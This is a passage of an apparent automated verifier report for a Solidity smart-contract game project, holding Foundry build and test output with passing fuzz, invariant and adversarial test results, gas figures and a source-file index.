test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16417577, ~: 16417554)\nLogs:\n  Bound result 19990000000005800001\n  Bound result 32000000\n  Bound result 976\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16734397, ~: 16734422)\nLogs:\n  Bound result 16809245445064337637\n  Bound result 59999999999999999999\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 18543805, ~: 15799830)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16284592, ~: 16284601)\nLogs:\n  Bound result 10000000000000001\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12323033, ~: 11613991)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37797, ~: 37819)\nLogs:\n  Bound result 13\n  Bound result 9206\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21797, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38384, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15169241, ~: 14949986)\nLogs:\n  Bound result 7\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.72s (16.23s CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 10923234, ~: 9804834)\nLogs:\n  Bound result 3\n  Bound result 45\n  Bound result 990000000000016677\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.76s (2.72s CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35383)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19739432)\nLogs:\n  takeCrown gas, eighteen real pools: 2787578\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16316503)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22662437)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 17019420)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15972973)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8938758)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10783927)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16704126)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 3.34s (1.46s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 23616\n  Bound result 2995000000000000101\n  Bound result 376138608389625840\n  Bound result 31156961613405421\n  Bound result 13273\n  Bound result 692\n  Bound result 262\n  Bound result 400\n  Bound result 90\n  Bound result 1994836\n  Bound result 1\n  Bound result 91\n  Bound result 2995000000000005810\n  Bound result 100\n  Bound result 1\n  Bound result 6\n  Bound result 0\n  Bound result 376138608389625840\n  Bound result 0\n  Bound result 91\n  Bound result 15\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.43s (3.39s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10332372)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11132642)\n[PASS] test_claimNothingReverts() (gas: 8017998)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16671190)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19791007)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26748189)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9504575)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10429625)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11974482)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 132936431)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4032742\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36665392)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23295775)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 20132501)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9349315)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10278980)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924807)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9405550)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9620803)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16997596)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16532028)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15654130)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836249)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878374)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396379)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16944023)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 17197060)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10847557)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9671429)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15908120)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12118996)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9345856)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15957793)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 3.77s (1.31s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 21573348, ~: 16004771)\nLogs:\n  Bound result 49\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116648048)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668339\n  5000-entry draw total gas: 16251823\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 53014690)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 445470)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 647944)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8891019)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191552)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5149996)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 687038)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 733751)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 49688583)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 50308019)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 94565686)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1922947)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 3.77s (7.24s CPU time)\n\nRan 34 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10686030, ~: 10384562)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 71240765, ~: 71225189)\nLogs:\n  Bound result 59999900000000004260\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2892324)\n[PASS] test_anchorBandBoundsCumulativeWalkAndDecaysForAGenuineMove() (gas: 70618272)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5457110)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3475704)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3169002)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7755635)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 3250554)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 1091938)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70788359)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3157459)\n[PASS] test_dustFillsDoNotRefreshTheStallClock() (gas: 71689753)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4813841)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67823)\n[PASS] test_failedVenueAttemptDoesNotConsumeInterval() (gas: 70431126)\n[PASS] test_frontRunBundledWithFinalizeCannotLowerTheAnchorAndLoses() (gas: 215390199)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4653088)\n[PASS] test_heldFrontRunAcrossAllChunksIsRefusedAndLoses() (gas: 85893851)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4729161)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6853)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 70405252)\n[PASS] test_nestedUnlockCallerIsRejectedAndHonestChunkConverts() (gas: 70813418)\n[PASS] test_noReturnIMDStillSettlesGraduationBurnAndFees() (gas: 3312906)\n[PASS] test_observationOnlyRaisesTheAnchorAndEveryTouchRefreshesIt() (gas: 5820729)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 71221321)\n[PASS] test_realProgressAboveFloorRefreshesClockButSevenDayCapBounds() (gas: 72595332)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1883341)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 84699075)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 164715969)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3333127)\nLogs:\n  Two-hop burn gas: 267453\n\n[PASS] test_untouchedGameStartsItsClockOnFirstTouchAndGraduatesIntoIMD() (gas: 2736931)\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 71289047)\nLogs:\n  Conversion upkeep gas: 458150\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2985553)\nSuite result: ok. 34 passed; 0 failed; 0 skipped; finished in 3.77s (4.60s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1782791, ~: 1791973)\nLogs:\n  Bound result 224\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2062501)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43514758)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3687477)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1354396\n  roll with both liquidity upkeep stipends exhausted: 1454127\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 3136287)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 3.77s (3.76s CPU time)\n\nRan 1 test for test/V4BailConversionInvariant.t.sol:V4BailConversionInvariantTest\n[PASS]\nV4BailConversionInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_coinsSoldEqualHoldingsUntilGraduation\n[PASS] invariant_erasedSeatsExcludedAndCapsHold\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_handlerSawNoViolation\n[PASS] invariant_liquidityEthAndImdFullyAccounted\n[PASS] invariant_statusAndConversionPhases\n[PASS] invariant_systemEthConserved\n V4BailConversionInvariantTest invariants (runs: 64, calls: 4096, reverts: 0)\n\n╭-----------+----------------+-------+---------+----------╮\n| Contract  | Selector       | Calls | Reverts | Discards |\n+=========================================================+\n| V4Handler | bailOut        | 285   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | burnChunk      | 146   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | claimGame      | 136   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | claimLiquidity | 133   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | convertAll     | 160   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | convertChunk   | 157   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | creditFees     | 176   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | distribute     | 141   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | enter          | 282   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | finalizeNow    | 134   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | fundBurn       | 152   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | fundCarry      | 132   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | graduate       | 150   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | launch         | 146   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | observe        | 164   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | padUpkeep      | 139   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | poke           | 165   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | resolve        | 137   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | roll           | 433   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | takeCrown      | 147   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | trade          | 128   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | warp           | 301   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | warpDay        | 152   | 0       | 0        |\n╰-----------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 111600000000000000\n  Bound result 473\n  Bound result 289\n  Bound result 536744073709551607\n  Bound result 7999000000000005887\n  Bound result 16000000000000000\n  Bound result 15\n  Bound result 1000\n  Bound result 720\n  Bound result 57\n  Bound result 26\n  Bound result 84\n  Bound result 609\n  Bound result 251\n  Bound result 617\n  Bound result 204\n  Bound result 480\n  Bound result 85\n  Bound result 8\n  Bound result 0\n  Bound result 480\n  Bound result 21\n  Bound result 5000000000000000\n  Bound result 367\n  Bound result 107\n  Bound result 3\n  Bound result 11\n  Bound result 1609\n  Bound result 81775\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.77s (4.70s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400010\n  Bound result 5275559\n  Bound result 9713\n  Bound result 3449109\n  Bound result 5966\n  Bound result 9600\n  Bound result 27752659550462\n  Bound result 29\n  Bound result 100\n  Bound result 71000000000000000\n  Bound result 873251\n  Bound result 94210890951955\n  Bound result 5409324\n  Bound result 1966500\n  Bound result 5414796\n  Bound result 14397\n  Bound result 8639285276016699474392\n  Bound result 4194305\n  Bound result 5411001\n  Bound result 5\n  Bound result 281612805415\n  Bound result 100003\n  Bound result 5449153\n  Bound result 5424158\n  Bound result 9513\n  Bound result 30\n  Bound result 7477639625207\n  Bound result 27503432105058070770119\n  Bound result 16624\n  Bound result 16307\n  Bound result 11318\n  Bound result 1191936\n  Bound result 3543\n  Bound result 1191936\n  Bound result 154087980144090\n  Bound result 7255761647015200691435\n  Bound result 16\n  Bound result 12\n  Bound result 10230\n  Bound result 1507695\n  Bound result 10000\n  Bound result 3403\n  Bound result 5400096\n  Bound result 40000000000000\n  Bound result 55619632766004\n  Bound result 200000\n  Bound result 31\n  Bound result 29\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.81s (4.76s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 4\n  Bound result 85\n  Bound result 14\n  Bound result 47\n  Bound result 6\n  Bound result 45\n  Bound result 21\n  Bound result 1\n  Bound result 3\n  Bound result 30\n  Bound result 89\n  Bound result 41\n  Bound result 30\n  Bound result 16\n  Bound result 29\n  Bound result 74\n  Bound result 28\n  Bound result 24\n  Bound result 74\n  Bound result 71\n  Bound result 89\n  Bound result 8\n  Bound result 12\n  Bound result 15\n  Bound result 50\n  Bound result 90\n  Bound result 15\n  Bound result 12\n  Bound result 9\n  Bound result 31\n  Bound result 23\n  Bound result 83\n  Bound result 63\n  Bound result 20\n  Bound result 0\n  Bound result 50\n  Bound result 6\n  Bound result 18\n  Bound result 4\n  Bound result 9\n  Bound result 16\n  Bound result 76\n  Bound result 20\n  Bound result 6\n  Bound result 4\n  Bound result 69\n  Bound result 43\n  Bound result 35\n  Bound result 6\n  Bound result 52\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.42s (7.37s CPU time)\n\nRan 24 test suites in 7.43s (53.57s CPU time): 252 tests passed, 0 failed, 0 skipped (252 total tests)\n","passed":true},{"durationMs":147,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256,uint160)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.observeMarket()\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":275,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":476,\"docs/TEST-REPORT.md\":153,\"docs/VERIFY.md\":76,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":820,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":720,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":321,\"src/interfaces/Interfaces.sol\":120,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":229,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":767,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4-CONTRIBUTOR-REPORT.md\":40,\"test/V4BailConversionInvariant.t.sol\":748,\"test/V4Edges.t.sol\":775,\"test/V4Pad.t.sol\":1124,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c6b85874a8e5475e4c3de21564643729dbdf21e93010a8c254ac753e9656b7f4","verifiedTreeHash":"b7afb0723fdd6a87a6ac4af98839c8bc63c12892","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":142825,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 142.69s\nCompiler run successful!\n","passed":true},{"durationMs":5563,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 176110)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 796374)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3626387)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1388605)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 41.92ms (4.08ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1047405)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257755)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 6797505)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1097518)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 928671)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 868603)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9373695)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 585971)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9510885)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1036096)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1003885)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3914876)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35129)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 168249)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 62.65ms (17.11ms CPU 